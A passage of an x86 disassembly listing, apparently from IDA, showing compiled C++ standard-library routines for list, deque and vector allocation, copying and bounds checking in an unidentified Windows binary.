sub_405C5B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405D42 proc near ; CODE XREF: sub_40260A+3Cp
; .vty:loc_405330p
push ebx
xor ebx, ebx
jmp short loc_405D59
; ---------------------------------------------------------------------------
loc_405D47: ; CODE XREF: sub_405D42+1Aj
mov eax, [esi+10h]
cmp eax, ebx
jz short loc_405D59
dec eax
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_405D59
mov [esi+0Ch], ebx
loc_405D59: ; CODE XREF: sub_405D42+3j
; sub_405D42+Aj ...
cmp [esi+10h], ebx
jnz short loc_405D47
push edi
mov edi, [esi+8]
jmp short loc_405D74
; ---------------------------------------------------------------------------
loc_405D64: ; CODE XREF: sub_405D42+37j
dec edi
lea eax, [eax+edi*4]
cmp [eax], ebx
jz short loc_405D74
push dword ptr [eax]
call sub_40DD8A
pop ecx
loc_405D74: ; CODE XREF: sub_405D42+20j
; sub_405D42+28j
cmp edi, ebx
mov eax, [esi+4]
ja short loc_405D64
cmp eax, ebx
pop edi
jz short loc_405D87
push eax
call sub_40DD8A
pop ecx
loc_405D87: ; CODE XREF: sub_405D42+3Cj
mov [esi+8], ebx
mov [esi+4], ebx
pop ebx
retn
sub_405D42 endp
; =============== S U B R O U T I N E =======================================
sub_405D8F proc near ; CODE XREF: sub_401B38+BBp
; sub_401CA0+15p ...
cmp dword ptr [esi], 0
jnz short loc_405D99
call sub_40DCFC
loc_405D99: ; CODE XREF: sub_405D8F+3j
mov eax, [esi]
mov ecx, [esi+4]
cmp ecx, [eax+4]
jnz short loc_405DA8
call sub_40DCFC
loc_405DA8: ; CODE XREF: sub_405D8F+12j
mov eax, [esi+4]
mov eax, [eax]
mov [esi+4], eax
mov eax, esi
retn
sub_405D8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405DB3 proc near ; CODE XREF: sub_4027E7+DFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
push edi
mov edi, [esi+4]
xor ebx, ebx
cmp edi, ebx
jz short loc_405DF1
mov eax, [esi+8]
mov ecx, eax
sub ecx, edi
sar ecx, 2
jz short loc_405DF1
cmp edi, eax
jbe short loc_405DDA
call sub_40DCFC
loc_405DDA: ; CODE XREF: sub_405DB3+20j
cmp [ebp+arg_8], ebx
jz short loc_405DE4
cmp [ebp+arg_8], esi
jz short loc_405DE9
loc_405DE4: ; CODE XREF: sub_405DB3+2Aj
call sub_40DCFC
loc_405DE9: ; CODE XREF: sub_405DB3+2Fj
mov ebx, [ebp+arg_C]
sub ebx, edi
sar ebx, 2
loc_405DF1: ; CODE XREF: sub_405DB3+10j
; sub_405DB3+1Cj
push [ebp+arg_C]
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov ecx, esi
call sub_406422
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_405E0E
call sub_40DCFC
loc_405E0E: ; CODE XREF: sub_405DB3+54j
mov [ebp+arg_C], edi
lea edi, [edi+ebx*4]
cmp edi, [esi+8]
ja short loc_405E1E
cmp edi, [esi+4]
jnb short loc_405E23
loc_405E1E: ; CODE XREF: sub_405DB3+64j
call sub_40DCFC
loc_405E23: ; CODE XREF: sub_405DB3+69j
mov eax, [ebp+arg_0]
mov [eax+4], edi
pop edi
mov [eax], esi
pop esi
pop ebx
leave
retn 10h
sub_405DB3 endp
; =============== S U B R O U T I N E =======================================
sub_405E32 proc near ; CODE XREF: sub_406253+93p
; sub_406253+104p ...
arg_0 = dword ptr 4
test edx, edx
mov ecx, edx
mov eax, esi
jbe short loc_405E4C
push edi
loc_405E3B: ; CODE XREF: sub_405E32+17j
mov edi, [esp+4+arg_0]
mov edi, [edi]
mov [eax], edi
dec ecx
add eax, 4
test ecx, ecx
ja short loc_405E3B
pop edi
loc_405E4C: ; CODE XREF: sub_405E32+6j
lea eax, [esi+edx*4]
retn 4
sub_405E32 endp
; =============== S U B R O U T I N E =======================================
sub_405E52 proc near ; CODE XREF: sub_4053F0+78p
; sub_405472:loc_405487p ...
and dword ptr [edi], 0
test esi, esi
jz short loc_405E82
test ebx, ebx
jz short loc_405E82
mov edx, [esi+18h]
cmp edx, 10h
lea eax, [esi+4]
jb short loc_405E6C
mov ecx, [eax]
jmp short loc_405E6E
; ---------------------------------------------------------------------------
loc_405E6C: ; CODE XREF: sub_405E52+14j
mov ecx, eax
loc_405E6E: ; CODE XREF: sub_405E52+18j
cmp ecx, ebx
ja short loc_405E82
cmp edx, 10h
jb short loc_405E79
mov eax, [eax]
loc_405E79: ; CODE XREF: sub_405E52+23j
mov ecx, [esi+14h]
add ecx, eax
cmp ebx, ecx
jbe short loc_405E87
loc_405E82: ; CODE XREF: sub_405E52+5j
; sub_405E52+9j ...
call sub_40DCFC
loc_405E87: ; CODE XREF: sub_405E52+2Ej
mov [edi], esi
mov [edi+4], ebx
mov eax, edi
retn
sub_405E52 endp
; =============== S U B R O U T I N E =======================================
sub_405E8F proc near ; CODE XREF: sub_4053F0+40p
; sub_4053F0+50p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov esi, [esp+4+arg_4]
test esi, esi
jnz short loc_405E9C
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_405E9C: ; CODE XREF: sub_405E8F+7j
mov eax, [esp+4+arg_0]
cmp eax, 0FFFFFFFEh
jz short loc_405EB4
test eax, eax
jz short loc_405EAF
cmp eax, [esp+4+arg_8]
jz short loc_405EB4
loc_405EAF: ; CODE XREF: sub_405E8F+18j
call sub_40DCFC
loc_405EB4: ; CODE XREF: sub_405E8F+14j
; sub_405E8F+1Ej
sub esi, [esp+4+arg_C]
mov eax, esi
pop esi
retn
sub_405E8F endp
; =============== S U B R O U T I N E =======================================
sub_405EBC proc near ; CODE XREF: sub_405A06+Dp
; sub_406CEA+1Dp
mov eax, offset loc_41AFA6
call sub_41AE44
mov eax, [ecx+8]
sub esp, 48h
push esi
mov esi, 4924924h
sub esi, eax
cmp esi, edx
jnb short loc_405F0A
push offset aListTTooLong ; "list<T> too long"
lea ecx, [ebp-2Ch]
call sub_401C44
and dword ptr [ebp-4], 0
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-54h]
call sub_401869
push offset dword_41FEF8
lea eax, [ebp-54h]
push eax
mov dword ptr [ebp-54h], offset off_41C2A8
call sub_4107BC
loc_405F0A: ; CODE XREF: sub_405EBC+1Aj
add eax, edx
mov [ecx+8], eax
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop esi
leave
retn
sub_405EBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405F1C proc near ; CODE XREF: sub_405A66+12p
; sub_40A246+8Cp
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
test ecx, ecx
ja short loc_405F34
xor ecx, ecx
loc_405F28: ; CODE XREF: sub_405F1C+22j
imul ecx, 1Ch
push ecx
call sub_40DE68
pop ecx
leave
retn
; ---------------------------------------------------------------------------
loc_405F34: ; CODE XREF: sub_405F1C+8j
or eax, 0FFFFFFFFh
xor edx, edx
div ecx
cmp eax, 1Ch
jnb short loc_405F28
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_10]
call sub_40D873
push offset dword_41FEA0
lea eax, [ebp+var_10]
push eax
mov [ebp+var_10], offset off_41C290
call sub_4107BC
int 3 ; Trap to Debugger
sub_405F1C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405F66 proc near ; CODE XREF: sub_405989+2Ep
; .vty:loc_405AD1j ...
mov eax, [esi+4]
test eax, eax
jz short loc_405F7E
push dword ptr [esi+8]
call sub_406737
push dword ptr [esi+4]
call sub_40DD8A
pop ecx
loc_405F7E: ; CODE XREF: sub_405F66+5j
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
retn
sub_405F66 endp
; =============== S U B R O U T I N E =======================================
sub_405F8B proc near ; CODE XREF: sub_405989+27p
; .vty:loc_405AD6j ...
mov eax, [esi+4]
test eax, eax
jz short loc_405FA3
push dword ptr [esi+8]
call sub_4067F1
push dword ptr [esi+4]
call sub_40DD8A
pop ecx
loc_405FA3: ; CODE XREF: sub_405F8B+5j
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
retn
sub_405F8B endp
; =============== S U B R O U T I N E =======================================
sub_405FB0 proc near ; CODE XREF: sub_405ADB+40p
mov eax, offset loc_41B5C1
call sub_41AE44
sub esp, 88h
push ebx
push esi
mov esi, [ebp+8]
push edi
lea eax, [ebp-90h]
mov [ebp-10h], esp
push eax
call sub_4065C8
xor ebx, ebx
mov [ebp-4], ebx
mov ecx, [esi+4]
cmp ecx, ebx
jz short loc_405FEE
mov eax, [esi+0Ch]
sub eax, ecx
push 74h
cdq
pop ecx
idiv ecx
mov ebx, eax
loc_405FEE: ; CODE XREF: sub_405FB0+2Fj
mov edi, [ebp+0Ch]
test edi, edi
jz loc_4061ED
mov eax, esi
call sub_4058AA
mov ecx, 234F72Ch
sub ecx, eax
cmp ecx, edi
jnb short loc_406010
call sub_40684D
loc_406010: ; CODE XREF: sub_405FB0+59j
mov eax, esi
call sub_4058AA
add eax, edi
cmp ebx, eax
jnb loc_40610D
mov eax, ebx
shr eax, 1
mov ecx, 234F72Ch
sub ecx, eax
cmp ecx, ebx
jnb short loc_406034
xor ebx, ebx
jmp short loc_406036
; ---------------------------------------------------------------------------
loc_406034: ; CODE XREF: sub_405FB0+7Ej
add ebx, eax
loc_406036: ; CODE XREF: sub_405FB0+82j
mov eax, esi
call sub_4058AA
add eax, edi
cmp ebx, eax
jnb short loc_40604E
mov eax, esi
call sub_4058AA
mov ebx, eax
add ebx, edi
loc_40604E: ; CODE XREF: sub_405FB0+91j
mov ecx, ebx
call sub_406209
push eax
push dword ptr [ebp+14h]
mov byte ptr [ebp-4], 1
mov ecx, [esi+4]
mov [ebp-14h], eax
mov [ebp+0Ch], eax
call sub_406B60
lea ecx, [ebp-90h]
push ecx
push edi
push eax
mov [ebp+0Ch], eax
call sub_40681C
mov ecx, [ebp+14h]
push eax
push dword ptr [esi+8]
mov [ebp+0Ch], eax
call sub_406B60
mov eax, esi
call sub_4058AA
add edi, eax
mov eax, [esi+4]
test eax, eax
mov [ebp+0Ch], edi
jz short loc_4060CB
mov ecx, [esi+8]
cmp eax, ecx
mov [ebp+14h], ecx
mov [ebp+8], eax
jz short loc_4060C2
loc_4060AB: ; CODE XREF: sub_405FB0+10Dj
mov edi, [ebp+8]
call sub_405989
add dword ptr [ebp+8], 74h
mov eax, [ebp+8]
cmp eax, [ebp+14h]
jnz short loc_4060AB
mov edi, [ebp+0Ch]
loc_4060C2: ; CODE XREF: sub_405FB0+F9j
push dword ptr [esi+4]
call sub_40DD8A
pop ecx
loc_4060CB: ; CODE XREF: sub_405FB0+ECj
mov eax, [ebp-14h]
imul ebx, 74h
imul edi, 74h
add ebx, eax
add edi, eax
mov [esi+0Ch], ebx
mov [esi+8], edi
mov [esi+4], eax
jmp loc_4061ED
; ---------------------------------------------------------------------------
loc_4060E6: ; DATA XREF: .vty:0042131Co
mov esi, [ebp-14h]
cmp esi, [ebp+0Ch]
mov edi, esi
jz short loc_4060FD
loc_4060F0: ; CODE XREF: sub_405FB0+14Bj
call sub_405989
add edi, 74h
cmp edi, [ebp+0Ch]
jnz short loc_4060F0
loc_4060FD: ; CODE XREF: sub_405FB0+13Ej
push esi
call sub_40DD8A
pop ecx
loc_406104: ; CODE XREF: sub_405FB0+1F7j
push 0
push 0
call sub_4107BC
loc_40610D: ; CODE XREF: sub_405FB0+6Bj
mov eax, [esi+8]
mov ebx, [ebp+14h]
mov [ebp-14h], eax
sub eax, ebx
push 74h
cdq
pop ecx
idiv ecx
cmp eax, edi
jnb loc_4061AC
mov eax, edi
imul eax, 74h
mov [ebp-18h], eax
add eax, ebx
push eax
push dword ptr [ebp-14h]
mov ecx, ebx
call sub_406B60
mov byte ptr [ebp-4], 3
mov eax, [esi+8]
lea ecx, [ebp-90h]
push ecx
sub eax, ebx
push 74h
pop ecx
cdq
idiv ecx
sub edi, eax
push edi
push dword ptr [esi+8]
call sub_40681C
and dword ptr [ebp-4], 0
mov eax, [ebp-18h]
add [esi+8], eax
mov esi, [esi+8]
sub esi, eax
mov edi, esi
jmp short loc_40617F
; ---------------------------------------------------------------------------
loc_40616F: ; CODE XREF: sub_405FB0+1D1j
lea eax, [ebp-90h]
mov esi, ebx
call sub_406C9C
add ebx, 74h
loc_40617F: ; CODE XREF: sub_405FB0+1BDj
cmp ebx, edi
jnz short loc_40616F
jmp short loc_4061ED
; ---------------------------------------------------------------------------
loc_406185: ; DATA XREF: .vty:0042132Co
mov eax, [ebp+0Ch]
mov ecx, [ebp+8]
imul eax, 74h
mov esi, [ecx+8]
mov ecx, [ebp+14h]
add esi, eax
lea edi, [eax+ecx]
jmp short loc_4061A3
; ---------------------------------------------------------------------------
loc_40619B: ; CODE XREF: sub_405FB0+1F5j
call sub_405989
add edi, 74h
loc_4061A3: ; CODE XREF: sub_405FB0+1E9j
cmp edi, esi
jnz short loc_40619B
jmp loc_406104
; ---------------------------------------------------------------------------
loc_4061AC: ; CODE XREF: sub_405FB0+170j
push dword ptr [ebp-14h]
imul edi, 74h
mov ecx, [ebp-14h]
push dword ptr [ebp-14h]
sub ecx, edi
mov [ebp+0Ch], ecx
call sub_406B60
push dword ptr [ebp-14h]
mov [esi+8], eax
mov eax, [ebp+0Ch]
push ebx
call sub_406B84
add edi, ebx
cmp ebx, edi
pop ecx
pop ecx
mov esi, ebx
jz short loc_4061ED
loc_4061DB: ; CODE XREF: sub_405FB0+23Bj
lea eax, [ebp-90h]
call sub_406C9C
add esi, 74h
cmp esi, edi
jnz short loc_4061DB
loc_4061ED: ; CODE XREF: sub_405FB0+43j
; sub_405FB0+131j ...
lea edi, [ebp-90h]
call sub_405989
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 10h
sub_405FB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406209 proc near ; CODE XREF: sub_405FB0+A0p
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
test ecx, ecx
ja short loc_406221
xor ecx, ecx
loc_406215: ; CODE XREF: sub_406209+22j
imul ecx, 74h
push ecx
call sub_40DE68
pop ecx
leave
retn
; ---------------------------------------------------------------------------
loc_406221: ; CODE XREF: sub_406209+8j
or eax, 0FFFFFFFFh
xor edx, edx
div ecx
cmp eax, 74h
jnb short loc_406215
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_10]
call sub_40D873
push offset dword_41FEA0
lea eax, [ebp+var_10]
push eax
mov [ebp+var_10], offset off_41C290
call sub_4107BC
int 3 ; Trap to Debugger
sub_406209 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406253 proc near ; CODE XREF: sub_405BDD+46p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [eax]
push ebx
push esi
push edi
mov edi, ecx
mov [ebp+var_4], eax
mov eax, [edi+4]
test eax, eax
jnz short loc_40626E
xor ebx, ebx
jmp short loc_406276
; ---------------------------------------------------------------------------
loc_40626E: ; CODE XREF: sub_406253+15j
mov ebx, [edi+0Ch]
sub ebx, eax
sar ebx, 2
loc_406276: ; CODE XREF: sub_406253+19j
mov eax, edi
call sub_4058DF
mov esi, 3FFFFFFFh
mov ecx, esi
sub ecx, eax
cmp ecx, 1
jnb short loc_406290
call sub_40684D
loc_406290: ; CODE XREF: sub_406253+36j
mov eax, edi
call sub_4058DF
inc eax
cmp ebx, eax
jnb loc_406327
mov eax, ebx
shr eax, 1
sub esi, eax
cmp esi, ebx
jnb short loc_4062AE
xor ebx, ebx
jmp short loc_4062B0
; ---------------------------------------------------------------------------
loc_4062AE: ; CODE XREF: sub_406253+55j
add ebx, eax
loc_4062B0: ; CODE XREF: sub_406253+59j
mov eax, edi
call sub_4058DF
inc eax
cmp ebx, eax
jnb short loc_4062C6
mov eax, edi
call sub_4058DF
mov ebx, eax
inc ebx
loc_4062C6: ; CODE XREF: sub_406253+67j
mov ecx, ebx
call sub_40688D
push dword ptr [edi+4]
mov ecx, eax
mov eax, [ebp+arg_4]
mov [ebp+var_8], ecx
call sub_406BCA
lea ecx, [ebp+var_4]
xor edx, edx
push ecx
inc edx
mov esi, eax
call sub_405E32
push [ebp+arg_4]
mov ecx, eax
mov eax, [edi+8]
call sub_406BCA
mov eax, edi
call sub_4058DF
mov esi, eax
mov eax, [edi+4]
inc esi
test eax, eax
jz short loc_406310
push eax
call sub_40DD8A
pop ecx
loc_406310: ; CODE XREF: sub_406253+B4j
mov eax, [ebp+var_8]
lea ecx, [eax+ebx*4]
mov [edi+0Ch], ecx
lea ecx, [eax+esi*4]
mov [edi+8], ecx
mov [edi+4], eax
jmp loc_4063BB
; ---------------------------------------------------------------------------
loc_406327: ; CODE XREF: sub_406253+47j
mov esi, [edi+8]
mov ebx, [ebp+arg_4]
mov eax, esi
sub eax, ebx
sar eax, 2
cmp eax, 1
jnb short loc_40637A
lea ecx, [ebx+4]
push ebx
mov eax, esi
call sub_406BCA
mov esi, [edi+8]
lea eax, [ebp+var_4]
push eax
mov eax, esi
xor edx, edx
sub eax, ebx
sar eax, 2
inc edx
sub edx, eax
call sub_405E32
add dword ptr [edi+8], 4
mov edi, [edi+8]
lea eax, [edi-4]
cmp ebx, eax
mov ecx, ebx
jz short loc_4063BB
loc_40636C: ; CODE XREF: sub_406253+123j
mov edx, [ebp+var_4]
mov [ecx], edx
add ecx, 4
cmp ecx, eax
jnz short loc_40636C
jmp short loc_4063BB
; ---------------------------------------------------------------------------
loc_40637A: ; CODE XREF: sub_406253+E4j
lea eax, [esi-4]
mov [ebp+arg_4], eax
push eax
mov ecx, esi
mov eax, esi
call sub_406BCA
mov [edi+8], eax
mov eax, [ebp+arg_4]
sub eax, ebx
sar eax, 2
test eax, eax
jle short loc_4063AA
shl eax, 2
push eax
push ebx
push eax
sub esi, eax
push esi
call sub_40D807
add esp, 10h
loc_4063AA: ; CODE XREF: sub_406253+144j
lea eax, [ebx+4]
jmp short loc_4063B7
; ---------------------------------------------------------------------------
loc_4063AF: ; CODE XREF: sub_406253+166j
mov ecx, [ebp+var_4]
mov [ebx], ecx
add ebx, 4
loc_4063B7: ; CODE XREF: sub_406253+15Aj
cmp ebx, eax
jnz short loc_4063AF
loc_4063BB: ; CODE XREF: sub_406253+CFj
; sub_406253+117j ...
pop edi
pop esi
pop ebx
leave
retn 8
sub_406253 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_405C5B
loc_4063C2: ; CODE XREF: sub_405C5B+1Ej
mov eax, offset loc_41AFA6
call sub_41AE44
sub esp, 4Ch
push offset aDequeTTooLong ; "deque<T> too long"
lea ecx, [ebp+var_2C]
call sub_401C44
and [ebp+var_4], 0
lea eax, [ebp+var_2C]
push eax
lea ecx, [ebp+var_54]
call sub_401869
push offset dword_41FEF8
lea eax, [ebp+var_54]
push eax
mov [ebp+var_54], offset off_41C2A8
call sub_4107BC
int 3 ; Trap to Debugger
; END OF FUNCTION CHUNK FOR sub_405C5B
; =============== S U B R O U T I N E =======================================
sub_406402 proc near ; CODE XREF: sub_401B38+56p
; sub_401B38+62p ...
cmp dword ptr [esi], 0
jnz short loc_40640C
call sub_40DCFC
loc_40640C: ; CODE XREF: sub_406402+3j
mov eax, [esi]
mov ecx, [esi+4]
cmp ecx, [eax+4]
jnz short loc_40641B
call sub_40DCFC
loc_40641B: ; CODE XREF: sub_406402+12j
mov eax, [esi+4]
add eax, 8
retn
sub_406402 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406422 proc near ; CODE XREF: sub_405DB3+49p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [eax]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, [edi+4]
test ecx, ecx
mov [ebp+var_8], eax
jnz short loc_40643E
and [ebp+var_4], ecx
jmp short loc_406449
; ---------------------------------------------------------------------------
loc_40643E: ; CODE XREF: sub_406422+15j
mov eax, [edi+0Ch]
sub eax, ecx
sar eax, 2
mov [ebp+var_4], eax
loc_406449: ; CODE XREF: sub_406422+1Aj
test ecx, ecx
jnz short loc_406451
xor eax, eax
jmp short loc_406459
; ---------------------------------------------------------------------------
loc_406451: ; CODE XREF: sub_406422+29j
mov eax, [edi+8]
sub eax, ecx
sar eax, 2
loc_406459: ; CODE XREF: sub_406422+2Dj
mov edx, 3FFFFFFFh
mov esi, edx
sub esi, eax
cmp esi, 1
jnb short loc_40646C
call sub_40684D
loc_40646C: ; CODE XREF: sub_406422+43j
test ecx, ecx
jnz short loc_406474
xor eax, eax
jmp short loc_40647C
; ---------------------------------------------------------------------------
loc_406474: ; CODE XREF: sub_406422+4Cj
mov eax, [edi+8]
sub eax, ecx
sar eax, 2
loc_40647C: ; CODE XREF: sub_406422+50j
inc eax
cmp [ebp+var_4], eax
jnb loc_40652D
mov eax, [ebp+var_4]
shr eax, 1
sub edx, eax
cmp edx, [ebp+var_4]
jnb short loc_406498
and [ebp+var_4], 0
jmp short loc_40649B
; ---------------------------------------------------------------------------
loc_406498: ; CODE XREF: sub_406422+6Ej
add [ebp+var_4], eax
loc_40649B: ; CODE XREF: sub_406422+74j
test ecx, ecx
jnz short loc_4064A3
xor eax, eax
jmp short loc_4064AB
; ---------------------------------------------------------------------------
loc_4064A3: ; CODE XREF: sub_406422+7Bj
mov eax, [edi+8]
sub eax, ecx
sar eax, 2
loc_4064AB: ; CODE XREF: sub_406422+7Fj
inc eax
cmp [ebp+var_4], eax
jnb short loc_4064C5
test ecx, ecx
jnz short loc_4064B9
xor eax, eax
jmp short loc_4064C1
; ---------------------------------------------------------------------------
loc_4064B9: ; CODE XREF: sub_406422+91j
mov eax, [edi+8]
sub eax, ecx
sar eax, 2
loc_4064C1: ; CODE XREF: sub_406422+95j
inc eax
mov [ebp+var_4], eax
loc_4064C5: ; CODE XREF: sub_406422+8Dj
mov ecx, [ebp+var_4]
call sub_40688D
push dword ptr [edi+4]
mov ebx, eax
mov eax, [ebp+arg_4]
mov ecx, ebx
call sub_406BCA
lea ecx, [ebp+var_8]
xor edx, edx
push ecx
inc edx
mov esi, eax
call sub_405E32
push [ebp+arg_4]
mov ecx, eax
mov eax, [edi+8]
call sub_406BCA
mov eax, [edi+4]
test eax, eax
jnz short loc_406502
xor esi, esi
jmp short loc_40650A
; ---------------------------------------------------------------------------
loc_406502: ; CODE XREF: sub_406422+DAj
mov esi, [edi+8]
sub esi, eax
sar esi, 2
loc_40650A: ; CODE XREF: sub_406422+DEj
test eax, eax
jz short loc_406515
push eax
call sub_40DD8A
pop ecx
loc_406515: ; CODE XREF: sub_406422+EAj
mov eax, [ebp+var_4]
lea eax, [ebx+eax*4]
mov [edi+0Ch], eax
lea eax, [ebx+esi*4+4]
mov [edi+8], eax
mov [edi+4], ebx
jmp loc_4065C1
; ---------------------------------------------------------------------------
loc_40652D: ; CODE XREF: sub_406422+5Ej
mov esi, [edi+8]
mov ebx, [ebp+arg_4]
mov eax, esi
sub eax, ebx
sar eax, 2
cmp eax, 1
jnb short loc_406580
lea ecx, [ebx+4]
push ebx
mov eax, esi
call sub_406BCA
mov esi, [edi+8]
lea eax, [ebp+var_8]
push eax
mov eax, esi
xor edx, edx
sub eax, ebx
sar eax, 2
inc edx
sub edx, eax
call sub_405E32
add dword ptr [edi+8], 4
mov edi, [edi+8]
lea eax, [edi-4]
cmp ebx, eax
mov ecx, ebx
jz short loc_4065C1
loc_406572: ; CODE XREF: sub_406422+15Aj
mov edx, [ebp+var_8]
mov [ecx], edx
add ecx, 4
cmp ecx, eax
jnz short loc_406572
jmp short loc_4065C1
; ---------------------------------------------------------------------------
loc_406580: ; CODE XREF: sub_406422+11Bj
lea eax, [esi-4]
mov [ebp+arg_4], eax
push eax
mov ecx, esi
mov eax, esi
call sub_406BCA
mov [edi+8], eax
mov eax, [ebp+arg_4]
sub eax, ebx
sar eax, 2
test eax, eax
jle short loc_4065B0
shl eax, 2
push eax
push ebx
push eax
sub esi, eax
push esi
call sub_40D807
add esp, 10h
loc_4065B0: ; CODE XREF: sub_406422+17Bj
lea eax, [ebx+4]
jmp short loc_4065BD
; ---------------------------------------------------------------------------
loc_4065B5: ; CODE XREF: sub_406422+19Dj
mov ecx, [ebp+var_8]
mov [ebx], ecx
add ebx, 4
loc_4065BD: ; CODE XREF: sub_406422+191j
cmp ebx, eax
jnz short loc_4065B5
loc_4065C1: ; CODE XREF: sub_406422+106j
; sub_406422+14Ej ...
pop edi
pop esi
pop ebx
leave
retn 8
sub_406422 endp
; =============== S U B R O U T I N E =======================================
sub_4065C8 proc near ; CODE XREF: sub_405FB0+20p
; sub_406F12+17p
mov eax, offset loc_41B24E
call sub_41AE44
push esi
mov esi, [ebp+8]
push edi
push esi
mov edi, ecx
call sub_406694
and dword ptr [ebp-4], 0
lea eax, [esi+10h]
lea ecx, [edi+10h]
push eax
call sub_40674E
lea eax, [edi+20h]
push eax
lea ecx, [esi+20h]
mov byte ptr [ebp-4], 1
call sub_401C1E
lea eax, [edi+3Ch]
push eax
lea ecx, [esi+3Ch]
mov byte ptr [ebp-4], 2
call sub_401C1E
add edi, 58h
push edi
lea ecx, [esi+58h]
mov byte ptr [ebp-4], 3
call sub_401C1E
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
mov large fs:0, ecx
pop esi
leave
retn 4
sub_4065C8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406631 proc near ; CODE XREF: sub_407454+A8p
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_C]
push esi
lea esi, [ebp+arg_8]
mov [ebp+var_8], eax
call sub_405D8F
mov esi, [ebp+arg_0]
cmp ebx, [esi+4]
jz short loc_406680
mov eax, [ebx+4]
mov ecx, [ebx]
mov [eax], ecx
mov eax, [ebx]
mov ecx, [ebx+4]
push edi
lea edi, [ebx+24h]
mov [eax+4], ecx
call sub_406C09
push 0
push 1
lea ecx, [ebx+8]
call sub_4013C4
push ebx
call sub_40DD8A
dec dword ptr [esi+8]
pop ecx
pop edi
loc_406680: ; CODE XREF: sub_406631+1Ej
mov ecx, [ebp+arg_8]
mov eax, [ebp+arg_4]
mov [eax], ecx
mov ecx, [ebp+arg_C]
pop esi
mov [eax+4], ecx
pop ebx
leave
retn 10h
sub_406631 endp
; =============== S U B R O U T I N E =======================================
sub_406694 proc near ; CODE XREF: sub_4065C8+12p
mov eax, offset loc_41AFFD
call sub_41AE44
sub esp, 14h
push ebx
push esi
mov esi, [ebp+8]
mov ebx, ecx
push edi
mov eax, ebx
mov [ebp-10h], esp
call sub_40690A
xor ecx, ecx
cmp eax, ecx
mov [esi+4], ecx
mov [esi+8], ecx
mov [esi+0Ch], ecx
jz short loc_406712
mov edi, esi
call sub_406920
test al, al
jz short loc_406712
and dword ptr [ebp-4], 0
mov eax, [ebx+8]
cmp [ebx+4], eax
mov [ebp-18h], eax
jbe short loc_4066E1
call sub_40DCFC
loc_4066E1: ; CODE XREF: sub_406694+46j
mov eax, [ebx+4]
cmp eax, [ebx+8]
mov [ebp-1Ch], eax
jbe short loc_4066F1
call sub_40DCFC
loc_4066F1: ; CODE XREF: sub_406694+56j
mov ecx, [esi+4]
xor eax, eax
lea edi, [ebp-14h]
stosb
push dword ptr [ebp-14h]
push dword ptr [ebp+8]
push ecx
push dword ptr [ebp-18h]
mov ecx, [ebp-1Ch]
call sub_4070DE
add esp, 10h
mov [esi+8], eax
loc_406712: ; CODE XREF: sub_406694+2Cj
; sub_406694+37j
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_406694 endp
; =============== S U B R O U T I N E =======================================
sub_406725 proc near ; DATA XREF: .vty:00420580o
mov esi, [ebp+8]
call sub_405F66
push 0
push 0
call sub_4107BC
int 3 ; Trap to Debugger
sub_406725 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_406737 proc near ; CODE XREF: sub_405F66+Ap
; sub_406D1A+4Dp ...
arg_0 = dword ptr 4
push esi
mov esi, eax
jmp short loc_406744
; ---------------------------------------------------------------------------
loc_40673C: ; CODE XREF: sub_406737+11j
call sub_4072AA
add esi, 38h
loc_406744: ; CODE XREF: sub_406737+3j
cmp esi, [esp+4+arg_0]
jnz short loc_40673C
pop esi
retn 4
sub_406737 endp
; =============== S U B R O U T I N E =======================================
sub_40674E proc near ; CODE XREF: sub_4065C8+22p
mov eax, offset loc_41B21B
call sub_41AE44
sub esp, 14h
push ebx
push esi
mov esi, [ebp+8]
mov ebx, ecx
push edi
mov eax, ebx
mov [ebp-10h], esp
call sub_406949
xor ecx, ecx
cmp eax, ecx
mov [esi+4], ecx
mov [esi+8], ecx
mov [esi+0Ch], ecx
jz short loc_4067CC
mov edi, esi
call sub_40695F
test al, al
jz short loc_4067CC
and dword ptr [ebp-4], 0
